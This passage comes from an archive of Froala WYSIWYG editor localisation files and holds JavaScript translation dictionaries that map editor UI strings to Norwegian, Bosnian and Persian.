View': 'Kodevisning', // Quote 'Quote': 'Sitat', 'Increase': "\xD8ke", 'Decrease': 'Nedgang', // Quick Insert 'Quick Insert': 'Hurtiginnsats', // Spcial Characters 'Special Characters': 'Spesielle karakterer', 'Latin': 'Latin', 'Greek': 'Gresk', 'Cyrillic': 'Kyrilliske', 'Punctuation': 'Tegnsetting', 'Currency': 'Valuta', 'Arrows': 'Piler', 'Math': 'Matte', 'Misc': 'Misc', // Print. 'Print': 'Skrive ut', // Spell Checker. 'Spell Checker': 'Stavekontroll', // Help 'Help': 'Hjelp', 'Shortcuts': 'Snarveier', 'Inline Editor': 'Inline editor', 'Show the editor': 'Vis redaktøren', 'Common actions': 'Felles handlinger', 'Copy': 'Kopiere', 'Cut': 'Kutte opp', 'Paste': 'Lim inn', 'Basic Formatting': 'Grunnleggende formatering', 'Increase quote level': 'Øke tilbudsnivået', 'Decrease quote level': 'Redusere tilbudsnivå', 'Image / Video': 'Bilde / video', 'Resize larger': 'Endre størrelsen større', 'Resize smaller': 'Endre størrelsen mindre', 'Table': 'Bord', 'Select table cell': 'Velg tabellcelle', 'Extend selection one cell': 'Utvide valg en celle', 'Extend selection one row': 'Utvide valg en rad', 'Navigation': 'Navigasjon', 'Focus popup / toolbar': 'Fokus popup / verktøylinje', 'Return focus to previous position': 'Returnere fokus til tidligere posisjon', // Embed.ly 'Embed URL': 'Legge inn nettadressen', 'Paste in a URL to embed': 'Lim inn i en URL for å legge inn', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Det limte innholdet kommer fra et Microsoft Word-dokument. vil du beholde formatet eller rydde det opp?', 'Keep': 'Beholde', 'Clean': 'Ren', 'Word Paste Detected': 'Ordpasta oppdages', // Character Counter 'Characters': 'Tegn', // More Buttons 'More Text': 'Mer Tekst', 'More Paragraph': 'Mer Avsnitt', 'More Rich': 'Mer Rik', 'More Misc': 'Mer Diverse' }, direction: 'ltr' }; }))); //# sourceMappingURL=nb.js.map languages/bs.js 0000674 00000025546 00000000000 0007434 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Bosnian */ FE.LANGUAGE['bs'] = { translation: { // Place holder 'Type something': "Ukucajte ne\u0161tp", // Basic formatting 'Bold': 'Bold', 'Italic': 'Italic', 'Underline': "Podvu\u010Deno", 'Strikethrough': 'Precrtano', // Main buttons 'Insert': 'Umetni', 'Delete': "Obri\u0161i", 'Cancel': "Otka\u017Ei", 'OK': 'U redu', 'Back': 'Natrag', 'Remove': 'Ukloni', 'More': "Vi\u0161e", 'Update': "A\u017Euriranje", 'Style': 'Stil', // Font 'Font Family': 'Odaberi font', 'Font Size': "Veli\u010Dina fonta", // Colors 'Colors': 'Boje', 'Background': 'Pozadine', 'Text': 'Teksta', 'HEX Color': 'Hex boje', // Paragraphs 'Paragraph Format': 'Paragraf formatu', 'Normal': 'Normalno', 'Code': 'Izvorni kod', 'Heading 1': 'Naslov 1', 'Heading 2': 'Naslov 2', 'Heading 3': 'Naslov 3', 'Heading 4': 'Naslov 4', // Style 'Paragraph Style': 'Paragraf stil', 'Inline Style': 'Inline stil', // Alignment 'Alignment': 'Poravnanje', 'Align Left': 'Poravnaj lijevo', 'Align Center': 'Poravnaj po sredini', 'Align Right': 'Poravnaj desno', 'Align Justify': 'Obostrano poravnanje', 'None': 'Nijedan', // Lists 'Ordered List': "Ure\u0111ena lista", 'Unordered List': "Nesre\u0111ene lista", // Indent 'Decrease Indent': 'Smanjenje alineja', 'Increase Indent': "Pove\u0107anje alineja", // Links 'Insert Link': 'Umetni link', 'Open in new tab': 'Otvori u novom prozoru', 'Open Link': 'Otvori link', 'Edit Link': 'Uredi link', 'Unlink': 'Ukloni link', 'Choose Link': 'Izabrati link', // Images 'Insert Image': 'Umetni sliku', 'Upload Image': 'Upload sliku', 'By URL': 'Preko URL', 'Browse': 'Pregledaj', 'Drop image': 'Izbaci sliku', 'or click': 'ili odaberi', 'Manage Images': 'Upravljanje ilustracijama', 'Loading': 'Koji tovari', 'Deleting': 'Brisanje', 'Tags': 'Oznake', 'Are you sure? Image will be deleted.': "Da li ste sigurni da \u017Eelite da obri\u0161ete ovu ilustraciju?", 'Replace': 'Zamijenite', 'Uploading': 'Uploading', 'Loading image': 'Koji tovari sliku', 'Display': 'Prikaz', 'Inline': 'Inline', 'Break Text': 'Break tekst', 'Alternative Text': 'Alternativna tekst', 'Change Size': "Promijeni veli\u010Dinu", 'Width': "\u0161irina", 'Height': 'Visina', 'Something went wrong. Please try again.': "Ne\u0161to je po\u0161lo po zlu. Molimo vas da poku\u0161ate ponovo.", 'Image Caption': 'Caption slika', 'Advanced Edit': 'Napredna izmjena', // Video 'Insert Video': 'Umetni video', 'Embedded Code': 'Embedded kod', 'Paste in a video URL': 'Nalepite u video url', 'Drop video': 'Drop video', 'Your browser does not support HTML5 video.': 'Vaš pretraživač ne podržava html5 video.', 'Upload Video': 'Otpremite video', // Tables 'Insert Table': 'Umetni tabelu', 'Table Header': 'Tabelu zaglavlja', 'Remove Table': 'Uklonite tabelu', 'Table Style': 'Tabela stil', 'Horizontal Align': 'Horizontalno poravnaj', 'Row': 'Red', 'Insert row above': 'Umetni red iznad', 'Insert row below': 'Umetni red ispod', 'Delete row': "Obri\u0161i red", 'Column': 'Kolona', 'Insert column before': 'Umetni kolonu prije', 'Insert column after': 'Umetni kolonu poslije', 'Delete column': "Obri\u0161i kolonu", 'Cell': "\u0106elija", 'Merge cells': "Spoji \u0107elija", 'Horizontal split': 'Horizontalno razdvajanje polja', 'Vertical split': 'Vertikalno razdvajanje polja', 'Cell Background': "\u0106elija pozadini", 'Vertical Align': 'Vertikalni poravnaj', 'Top': 'Vrh', 'Middle': 'Srednji', 'Bottom': 'Dno', 'Align Top': 'Poravnaj vrh', 'Align Middle': 'Poravnaj srednji', 'Align Bottom': 'Poravnaj dno', 'Cell Style': "\u0106elija stil", // Files 'Upload File': 'Upload datoteke', 'Drop file': 'Drop datoteke', // Emoticons 'Emoticons': 'Emotikona', 'Grinning face': "Cere\u0107i lice", 'Grinning face with smiling eyes': "Cere\u0107i lice nasmijana o\u010Dima", 'Face with tears of joy': 'Lice sa suze radosnice', 'Smiling face with open mouth': 'Nasmijana lica s otvorenih usta', 'Smiling face with open mouth and smiling eyes': "Nasmijana lica s otvorenih usta i nasmijana o\u010Di", 'Smiling face with open mouth and cold sweat': 'Nasmijana lica s otvorenih usta i hladan znoj', 'Smiling face with open mouth and tightly-closed eyes': "Nasmijana lica s otvorenih usta i \u010Dvrsto-zatvorenih o\u010Diju", 'Smiling face with halo': 'Nasmijana lica sa halo', 'Smiling face with horns': 'Nasmijana lica s rogovima', 'Winking face': 'Namigivanje lice', 'Smiling face with smiling eyes': "Nasmijana lica sa nasmijana o\u010Dima", 'Face savoring delicious food': "Suo\u010Davaju u\u017Eivaju\u0107i ukusna hrana", 'Relieved face': 'Laknulo lice', 'Smiling face with heart-shaped eyes': "Nasmijana lica sa obliku srca o\u010Di", 'Smiling face with sunglasses': "Nasmijana lica sa sun\u010Dane nao\u010Dare", 'Smirking face': "Namr\u0161tena lica", 'Neutral face': 'Neutral lice', 'Expressionless face': "Bezizra\u017Eajno lice", 'Unamused face': 'Nije zabavno lice', 'Face with cold sweat': 'Lice s hladnim znojem', 'Pensive face': "Zami\u0161ljen lice", 'Confused face': 'Zbunjen lice', 'Confounded face': "Uzbu\u0111en lice", 'Kissing face': 'Ljubakanje lice', 'Face throwing a kiss': "Suo\u010Davaju bacanje poljubac", 'Kissing face with smiling eyes': "Ljubljenje lice nasmijana o\u010Dima", 'Kissing face with closed eyes': "Ljubljenje lice sa zatvorenim o\u010Dima", 'Face with stuck out tongue': "Lice sa ispru\u017Eio jezik", 'Face with stuck out tongue and winking eye': "Lice sa ispru\u017Eio jezik i trep\u0107u\u0107e \u0107e oko", 'Face with stuck out tongue and tightly-closed eyes': "Lice sa ispru\u017Eio jezik i \u010Dvrsto zatvorene o\u010Di", 'Disappointed face': "Razo\u010Daran lice", 'Worried face': 'Zabrinuti lice', 'Angry face': 'Ljut lice', 'Pouting face': "Napu\u0107enim lice", 'Crying face': 'Plakanje lice', 'Persevering face': 'Istrajan lice', 'Face with look of triumph': 'Lice s pogledom trijumfa', 'Disappointed but relieved face': "Razo\u010Daran, ali olak\u0161anje lice", 'Frowning face with open mouth': "Namr\u0161tiv\u0161i lice s otvorenih usta", 'Anguished face': 'Bolnom lice', 'Fearful face': "Pla\u0161ljiv lice", 'Weary face': 'Umoran lice', 'Sleepy face': 'Pospan lice', 'Tired face': 'Umorno lice', 'Grimacing face': 'Grimase lice', 'Loudly crying face': "Glasno pla\u010De lice", 'Face with open mouth': 'Lice s otvorenih usta', 'Hushed face': 'Smiren lice', 'Face with open mouth and cold sweat': 'Lice s otvorenih usta i hladan znoj', 'Face screaming in fear': "Suo\u010Davaju vri\u0161ti u strahu", 'Astonished face': 'Zapanjen lice', 'Flushed face': 'Rumeno lice', 'Sleeping face': 'Usnulo lice', 'Dizzy face': "O\u0161amu\u0107en lice", 'Face without mouth': 'Lice bez usta', 'Face with medical mask': 'Lice sa medicinskom maskom', // Line breaker 'Break': 'Slomiti', // Math 'Subscript': 'Potpisan', 'Superscript': 'Natpis', // Full screen 'Fullscreen': 'Preko cijelog zaslona', // Horizontal line 'Insert Horizontal Line': 'Umetni vodoravna liniju', // Clear formatting 'Clear Formatting': 'Izbrisati formatiranje', // Save 'Save': 'Spremi', // Undo, redo 'Undo': 'Korak nazad', 'Redo': 'Korak naprijed', // Select all 'Select All': "Ozna\u010Di sve", // Code view 'Code View': 'Kod pogled', // Quote 'Quote': 'Citat', 'Increase': "Pove\u0107ati", 'Decrease': 'Smanjenje', // Quick Insert 'Quick Insert': 'Brzo umetak', // Spcial Characters 'Special Characters': 'Posebni znakovi', 'Latin': 'Latin', 'Greek': 'Greek', 'Cyrillic': 'Ćirilično', 'Punctuation': 'Interpunkcija', 'Currency': 'Valuta', 'Arrows': 'Strelice', 'Math': 'Matematika', 'Misc': 'Misc', // Print. 'Print': 'Print', // Spell Checker. 'Spell Checker': 'Proveru pravopisa', // Help 'Help': 'Pomoć', 'Shortcuts': 'Prečice', 'Inline Editor': 'Inline editor', 'Show the editor': 'Pokaži urednika', 'Common actions': 'Zajedničke akcije', 'Copy': 'Kopiraj', 'Cut': 'Cut', 'Paste': 'Paste', 'Basic Formatting': 'Osnovno oblikovanje', 'Increase quote level': 'Povećati cijeni', 'Decrease quote level': 'Smanjiti nivo ponude', 'Image / Video': 'Slika / video', 'Resize larger': 'Veće veličine', 'Resize smaller': 'Manja promjena veličine', 'Table': 'Stol', 'Select table cell': 'Izaberite ćeliju tablice', 'Extend selection one cell': 'Produžiti izbor jedne ćelije', 'Extend selection one row': 'Produžiti izbor jedan red', 'Navigation': 'Navigacija', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': 'Vratite fokus na prethodnu poziciju', // Embed.ly 'Embed URL': 'Ugraditi url', 'Paste in a URL to embed': 'Paste u URL adresu za ugradnju', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Nalepeni sadržaj dolazi iz Microsoft Word dokumenta. da li želite da zadržite format ili da ga očistite?', 'Keep': 'Zadržati', 'Clean': 'Čist', 'Word Paste Detected': 'Otkrivena je slovna reč', // Character Counter 'Characters': 'znakova', // More Buttons 'More Text': 'Još teksta', 'More Paragraph': 'Još paragraf', 'More Rich': 'More Rich', 'More Misc': 'More Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=bs.js.map languages/fa.js 0000674 00000046113 00000000000 0007407 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Persian */ FE.LANGUAGE['fa'] = { translation: { // Place holder 'Type something': "\u0686\u06CC\u0632\u06CC \u0628\u0646\u0648\u06CC\u0633\u06CC\u062F", // Basic formatting 'Bold': 'ضخیم', 'Italic': 'خط کج', 'Underline': 'خط زیر', 'Strikethrough': "\u062E\u0637 \u062E\u0648\u0631\u062F\u0647", // Main buttons 'Insert': "\u0627\u0636\u0627\u0641\u0647 \u06A9\u0631\u062F\u0646", 'Delete': "\u062D\u0630\u0641 \u06A9\u0631\u062F\u0646", 'Cancel': "\u0644\u063A\u0648", 'OK': "\u0628\u0627\u0634\u0647", 'Back': "\u0628\u0647 \u0639\u0642\u0628", 'Remove': "\u0628\u0631\u062F\u0627\u0634\u062A\u0646", 'More': "\u0628\u06CC\u0634\u062A\u0631", 'Update': "\u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06CC", 'Style': "\u0633\u0628\u06A9", // Font 'Font Family': "\u0642\u0644\u0645", 'Font Size': "\u0627\u0646\u062F\u0627\u0632\u0647 \u0642\u0644\u0645", // Colors 'Colors': "\u0631\u0646\u06AF", 'Background': "\u0632\u0645\u06CC\u0646\u0647 \u0645\u062A\u0646", 'Text': "\u0645\u062A\u0646", 'HEX Color': 'کد رنگ', // Paragraphs 'Paragraph Format': "\u0642\u0627\u0644\u0628", 'Normal': "\u0637\u0628\u06CC\u0639\u06CC - Normal", 'Code': "\u062F\u0633\u062A\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u0647\u0627 - Code", 'Heading 1': "\u0633\u0631\u200C\u0635\u0641\u062D\u0647 1", 'Heading 2': "\u0633\u0631\u200C\u0635\u0641\u062D\u0647 2", 'Heading 3': "\u0633\u0631\u200C\u0635\u0641\u062D\u0647 3", 'Heading 4': "\u0633\u0631\u200C\u0635\u0641\u062D\u0647 4", // Style 'Paragraph Style': "\u067E\u0627\u0631\u0627\u06AF\u0631\u0627\u0641 \u0633\u0628\u06A9", 'Inline Style': "\u062E\u0637\u06CC \u0633\u0628\u06A9", // Alignment 'Align': "\u0631\u062F\u06CC\u0641 \u0628\u0646\u062F\u06CC \u0646\u0648\u0634\u062A\u0647", 'Align Left': "\u0686\u067E \u0686\u06CC\u0646", 'Align Center': "\u0648\u0633\u0637 \u0686\u06CC\u0646", 'Align Right': "\u0631\u0627\u0633\u062A \u0686\u06CC\u0646", 'Align Justify': "\u0645\u0633\u0627\u0648\u06CC \u0627\u0632 \u0637\u0631\u0641\u06CC\u0646", 'None': "\u0647\u06CC\u0686", // Lists 'Ordered List': "\u0644\u06CC\u0633\u062A \u0634\u0645\u0627\u0631\u0647 \u0627\u06CC", 'Unordered List': "\u0644\u06CC\u0633\u062A \u062F\u0627\u06CC\u0631\u0647 \u0627\u06CC", // Indent 'Decrease Indent': "\u06A9\u0627\u0647\u0634 \u062A\u0648 \u0631\u0641\u062A\u06AF\u06CC", 'Increase Indent': "\u0627\u0641\u0632\u0627\u06CC\u0634 \u062A\u0648 \u0631\u0641\u062A\u06AF\u06CC", // Links 'Insert Link': "\u0627\u0636\u0627\u0641\u0647 \u06A9\u0631\u062F\u0646 \u0644\u06CC\u0646\u06A9", 'Open in new tab': "\u0628\u0627\u0632 \u06A9\u0631\u062F\u0646 \u062F\u0631 \u0628\u0631\u06AF\u0647 \u062C\u062F\u06CC\u062F", 'Open Link': "\u0644\u06CC\u0646\u06A9 \u0647\u0627\u06CC \u0628\u0627\u0632", 'Edit Link': "\u0644\u06CC\u0646\u06A9 \u0648\u06CC\u0631\u0627\u06CC\u0634", 'Unlink': "\u062D\u0630\u0641 \u0644\u06CC\u0646\u06A9", 'Choose Link': "\u0644\u06CC\u0646\u06A9 \u0631\u0627 \u0627\u0646\u062A\u062E\u0627\u0628 \u06A9\u0646\u06CC\u062F", // Images 'Insert Image': "\u0627\u0636\u0627\u0641\u0647 \u06A9\u0631\u062F\u0646 \u062A\u0635\u0648\u06CC\u0631", 'Upload Image': "\u0622\u067E\u0644\u0648\u062F \u062A\u0635\u0648\u06CC\u0631", 'By URL': "URL \u062A\u0648\u0633\u0637", 'Browse': "\u0641\u0647\u0631\u0633\u062A", 'Drop image': "\u062A\u0635\u0648\u06CC\u0631 \u0631\u0627 \u0627\u06CC\u0646\u062C\u0627 \u0628\u06CC\u0646\u062F\u0627\u0632\u06CC\u062F", 'or click': "\u06CC\u0627 \u06A9\u0644\u06CC\u06A9 \u06A9\u0646\u06CC\u062F", 'Manage Images': "\u0645\u062F\u06CC\u0631\u06CC\u062A \u062A\u0635\u0627\u0648\u06CC\u0631", 'Loading': "\u0628\u0627\u0631\u06AF\u06CC\u0631\u06CC", 'Deleting': "\u062D\u0630\u0641", 'Tags': "\u0628\u0631\u0686\u0633\u0628 \u0647\u0627", 'Are you sure? Image will be deleted.': ".\u0622\u06CC\u0627 \u0645\u0637\u0645\u0626\u0646 \u0647\u0633\u062A\u06CC\u062F\u061F \u062A\u0635\u0648\u06CC\u0631 \u062D\u0630\u0641 \u062E\u0648\u0627\u0647\u062F \u0634\u062F", 'Replace': "\u062C\u0627\u06CC\u06AF\u0632\u06CC\u0646 \u06A9\u0631\u062F\u0646", 'Uploading': "\u0622\u067E\u0644\u0648\u062F", 'Loading image': "\u0628\u0627\u0631\u06AF\u0630\u0627\u0631\u06CC \u062A\u0635\u0648\u06CC\u0631", 'Display': "\u0646\u0634\u0627\u0646 \u062F\u0627\u062F\u0646", 'Inline': "\u062E\u0637\u06CC", 'Break Text': "\u0634\u06A9\u0633\u062A\u0646 \u0627\u0633\u062A\u0631\u0627\u062D\u062A", 'Alternative Text': "\u0645\u062A\u0646 \u062C\u0627\u06CC\u06AF\u0632\u06CC\u0646", 'Change Size': "\u062A\u063A\u06CC\u06CC\u0631 \u0627\u0646\u062F\u0627\u0632\u0647", 'Width': "\u0639\u0631\u0636", 'Height': "\u0627\u0631\u062A\u0641\u0627\u0639", 'Something went wrong. Please try again.': 'خطایی رخ داده است ، لطفا مجددا تلاش کنید', 'Image Caption': 'عنوان تصویر', 'Advanced Edit': 'ویرایش پیشرفته', // Video 'Insert Video': "\u0627\u0636\u0627\u0641\u0647 \u06A9\u0631\u062F\u0646 \u0641\u0627\u06CC\u0644 \u062A\u0635\u0648\u06CC\u0631\u06CC", 'Embedded Code': "\u06A9\u062F \u062C\u0627\u0633\u0627\u0632\u06CC \u0634\u062F\u0647", 'Paste in a video URL': 'در URL ویدیو وارد کنید', 'Drop video': 'رها کردن ویدیو', 'Your browser does not support HTML5 video.': 'مرورگر شما ویدیو HTML5 را پشتیبانی نمی کند.', 'Upload Video': 'آپلود ویدیو', // Tables 'Insert Table': "\u0627\u0636\u0627\u0641\u0647 \u06A9\u0631\u062F\u0646 \u062C\u062F\u0648\u0644", 'Table Header': "\u0647\u062F\u0631 \u062C\u062F\u0648\u0644", 'Remove Table': "\u062D\u0630\u0641 \u062C\u062F\u0648\u0644", 'Table Style': "\u0633\u0628\u06A9 \u062C\u062F\u0648\u0644", 'Horizontal Align': "\u062A\u0646\u0638\u06CC\u0645 \u0627\u0641\u0642\u06CC", 'Row': "\u0633\u0637\u0631", 'Insert row above': "\u062F\u0631\u062C \u0631\u062F\u06CC\u0641 \u062F\u0631 \u0628\u0627\u0644\u0627", 'Insert row below': "\u0633\u0637\u0631 \u0632\u06CC\u0631 \u0631\u0627 \u0648\u0627\u0631\u062F \u06A9\u0646\u06CC\u062F", 'Delete row': "\u062D\u0630\u0641 \u0633\u0637\u0631", 'Column': "\u0633\u062A\u0648\u0646", 'Insert column before': "\u062F\u0631\u062C \u0633\u062A\u0648\u0646 \u0642\u0628\u0644", 'Insert column after': "\u062F\u0631\u062C \u0633\u062A\u0648\u0646 \u0628\u0639\u062F", 'Delete column': "\u062D\u0630\u0641 \u0633\u062A\u0648\u0646", 'Cell': "\u0633\u0644\u0648\u0644", 'Merge cells': "\u0627\u062F\u063A\u0627\u0645 \u0633\u0644\u0648\u0644\u200C\u0647\u0627", 'Horizontal split': "\u062A\u0642\u0633\u06CC\u0645 \u0627\u0641\u0642\u06CC", 'Vertical split': "\u062A\u0642\u0633\u06CC\u0645 \u0639\u0645\u0648\u062F\u06CC", 'Cell Background': "\u067E\u0633 \u0632\u0645\u06CC\u0646\u0647 \u0647\u0645\u0631\u0627\u0647", 'Vertical Align': "\u0631\u062F\u06CC\u0641 \u0639\u0645\u0648\u062F\u06CC", 'Top': "\u0628\u0627\u0644\u0627", 'Middle': "\u0645\u062A\u0648\u0633\u0637", 'Bottom': "\u067E\u0627\u06CC\u06CC\u0646", 'Align Top': "\u062A\u0631\u0627\u0632 \u0628\u0627\u0644\u0627\u06CC", 'Align Middle': "\u062A\u0631\u0627\u0632 \u0648\u0633\u0637", 'Align Bottom': "\u062A\u0631\u0627\u0632 \u067E\u0627\u06CC\u06CC\u0646", 'Cell Style': "\u0633\u0628\u06A9 \u0647\u0627\u06CC \u0647\u0645\u0631\u0627\u0647", // Files 'Upload File': "\u0622\u067E\u0644\u0648\u062F \u0641\u0627\u06CC\u0644", 'Drop file': "\u0627\u0641\u062A \u0641\u0627\u06CC\u0644", // Emoticons 'Emoticons': "\u0634\u06A9\u0644\u06A9 \u0647\u0627", 'Grinning face': "\u0686\u0647\u0631\u0647 \u067E\u0648\u0632\u062E\u0646\u062F", 'Grinning face with smiling eyes': "\u0686\u0647\u0631\u0647 \u067E\u0648\u0632\u062E\u0646\u062F \u0628\u0627 \u0686\u0634\u0645\u0627\u0646 \u062E\u0646\u062F\u0627\u0646", 'Face with tears of joy': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u0627\u0634\u06A9 \u0634\u0627\u062F\u06CC", 'Smiling face with open mouth': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632", 'Smiling face with open mouth and smiling eyes': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632 \u0648 \u062E\u0646\u062F\u0627\u0646 \u0686\u0634\u0645", 'Smiling face with open mouth and cold sweat': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632 \u0648 \u0639\u0631\u0642 \u0633\u0631\u062F", 'Smiling face with open mouth and tightly-closed eyes': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632 \u0648 \u0686\u0634\u0645 \u062F\u0631\u0628\u062F\u0627\u0631", 'Smiling face with halo': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u0647\u0627\u0644\u0647", 'Smiling face with horns': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u0634\u0627\u062E", 'Winking face': "\u062D\u0631\u06A9\u062A \u067E\u0630\u06CC\u0631\u06CC", 'Smiling face with smiling eyes': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u0686\u0634\u0645 \u0644\u0628\u062E\u0646\u062F", 'Face savoring delicious food': "\u0686\u0647\u0631\u0647 \u0644\u0630\u06CC\u0630 \u063A\u0630\u0627\u06CC \u062E\u0648\u0634\u0645\u0632\u0647", 'Relieved face': "\u0686\u0647\u0631\u0647 \u0631\u0647\u0627", 'Smiling face with heart-shaped eyes': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u0686\u0634\u0645 \u0628\u0647 \u0634\u06A9\u0644 \u0642\u0644\u0628", 'Smiling face with sunglasses': "\u0686\u0647\u0631\u0647 \u062E\u0646\u062F\u0627\u0646 \u0628\u0627 \u0639\u06CC\u0646\u06A9 \u0622\u0641\u062A\u0627\u0628\u06CC", 'Smirking face': "\u067E\u0648\u0632\u062E\u0646\u062F \u0686\u0647\u0631\u0647", 'Neutral face': "\u0686\u0647\u0631\u0647 \u0647\u0627\u06CC \u062E\u0646\u062B\u06CC", 'Expressionless face': "\u0686\u0647\u0631\u0647 \u0646\u0627\u06AF\u0648\u06CC\u0627", 'Unamused face': "\u0686\u0647\u0631\u0647 \u062E\u0648\u0634\u062D\u0627\u0644 \u0646\u06CC\u0633\u062A", 'Face with cold sweat': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u0639\u0631\u0642 \u0633\u0631\u062F", 'Pensive face': "\u0686\u0647\u0631\u0647 \u0627\u0641\u0633\u0631\u062F\u0647", 'Confused face': "\u0686\u0647\u0631\u0647 \u0627\u0634\u062A\u0628\u0627\u0647", 'Confounded face': "\u0686\u0647\u0631\u0647 \u0633\u0631 \u062F\u0631 \u06AF\u0645", 'Kissing face': "\u0628\u0648\u0633\u06CC\u062F\u0646 \u0635\u0648\u0631\u062A", 'Face throwing a kiss': "\u0686\u0647\u0631\u0647 \u067E\u0631\u062A\u0627\u0628 \u06CC\u06A9 \u0628\u0648\u0633\u0647", 'Kissing face with smiling eyes': "\u0628\u0648\u0633\u06CC\u062F\u0646 \u0686\u0647\u0631\u0647 \u0628\u0627 \u0686\u0634\u0645 \u0644\u0628\u062E\u0646\u062F", 'Kissing face with closed eyes': "\u0628\u0648\u0633\u06CC\u062F\u0646 \u0635\u0648\u0631\u062A \u0628\u0627 \u0686\u0634\u0645\u0627\u0646 \u0628\u0633\u062A\u0647", 'Face with stuck out tongue': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u06AF\u06CC\u0631 \u06A9\u0631\u062F\u0646 \u0632\u0628\u0627\u0646", 'Face with stuck out tongue and winking eye': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u0632\u0628\u0627\u0646 \u06AF\u06CC\u0631 \u06A9\u0631\u062F\u0646 \u0648 \u062D\u0631\u06A9\u062A \u0686\u0634\u0645", 'Face with stuck out tongue and tightly-closed eyes': "\u0635\u0648\u0631\u062A \u0628\u0627 \u0632\u0628\u0627\u0646 \u06AF\u06CC\u0631 \u06A9\u0631\u062F\u0646 \u0648 \u0686\u0634\u0645 \u0631\u0627 \u0645\u062D\u06A9\u0645 \u0628\u0633\u062A\u0647", 'Disappointed face': "\u0686\u0647\u0631\u0647 \u0646\u0627 \u0627\u0645\u06CC\u062F", 'Worried face': "\u0686\u0647\u0631\u0647 \u0646\u06AF\u0631\u0627\u0646", 'Angry face': "\u0686\u0647\u0631\u0647 \u0639\u0635\u0628\u0627\u0646\u06CC", 'Pouting face': "\u0628\u063A \u0686\u0647\u0631\u0647", 'Crying face': "\u06AF\u0631\u06CC\u0647 \u0686\u0647\u0631\u0647", 'Persevering face': "\u067E\u0627\u06CC\u062F\u0627\u0631\u06CC \u0686\u0647\u0631\u0647", 'Face with look of triumph': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u0646\u06AF\u0627\u0647\u06CC \u0627\u0632 \u067E\u06CC\u0631\u0648\u0632\u06CC", 'Disappointed but relieved face': "\u0646\u0627 \u0627\u0645\u06CC\u062F \u0627\u0645\u0627 \u0622\u0633\u0648\u062F\u0647 \u0686\u0647\u0631\u0647", 'Frowning face with open mouth': "\u0627\u062E\u0645 \u0635\u0648\u0631\u062A \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632", 'Anguished face': "\u0686\u0647\u0631\u0647 \u0646\u06AF\u0631\u0627\u0646", 'Fearful face': "\u0686\u0647\u0631\u0647 \u062A\u0631\u0633", 'Weary face': "\u0686\u0647\u0631\u0647 \u062E\u0633\u062A\u0647", 'Sleepy face': "\u0686\u0647\u0631\u0647 \u062E\u0648\u0627\u0628 \u0622\u0644\u0648\u062F", 'Tired face': "\u0686\u0647\u0631\u0647 \u062E\u0633\u062A\u0647", 'Grimacing face': "\u0627\u0634 \u0686\u0647\u0631\u0647", 'Loudly crying face': "\u0646\u062F\u0627\u06CC\u06CC \u0631\u0633\u0627 \u06AF\u0631\u06CC\u0647 \u0686\u0647\u0631\u0647", 'Face with open mouth': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632", 'Hushed face': "\u0686\u0647\u0631\u0647 \u0633\u06A9\u0648\u062A", 'Face with open mouth and cold sweat': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u062F\u0647\u0627\u0646 \u0628\u0627\u0632 \u0648 \u0639\u0631\u0642 \u0633\u0631\u062F", 'Face screaming in fear': "\u0686\u0647\u0631\u0647 \u062C\u06CC\u063A \u062F\u0631 \u062A\u0631\u0633", 'Astonished face': "\u0686\u0647\u0631\u0647 \u0634\u06AF\u0641\u062A \u0632\u062F\u0647", 'Flushed face': "\u0686\u0647\u0631\u0647 \u0628\u0631\u0627\u0641\u0631\u0648\u062E\u062A\u0647", 'Sleeping face': "\u062E\u0648\u0627\u0628 \u0686\u0647\u0631\u0647", 'Dizzy face': "\u0686\u0647\u0631\u0647 \u062F\u06CC\u0632\u06CC", 'Face without mouth': "\u0686\u0647\u0631\u0647 \u0628\u062F\u0648\u0646 \u062F\u0647\u0627\u0646", 'Face with medical mask': "\u0686\u0647\u0631\u0647 \u0628\u0627 \u0645\u0627\u0633\u06A9 \u0647\u0627\u06CC 